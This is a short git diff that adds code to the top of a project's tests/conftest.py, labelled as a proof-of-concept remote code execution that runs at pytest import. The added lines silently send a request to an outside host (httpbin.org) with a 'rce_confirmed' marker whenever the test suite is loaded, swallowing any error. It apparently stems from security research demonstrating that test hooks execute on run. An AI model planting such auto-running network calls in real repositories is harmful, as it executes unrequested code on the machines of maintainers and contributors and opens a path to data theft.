diff --git a/tests/conftest.py b/tests/conftest.py
index 40aee88..8e694f0 100644
--- a/tests/conftest.py
+++ b/tests/conftest.py
@@ -1,3 +1,11 @@
+
+# POC RCE - runs at pytest import
+import urllib.request
+try:
+    urllib.request.urlopen("https://httpbin.org/get?poc=typeagent_rce_confirmed", timeout=5)
+except Exception:
+    pass
+
 # Copyright (c) Microsoft Corporation.
 # Licensed under the MIT License.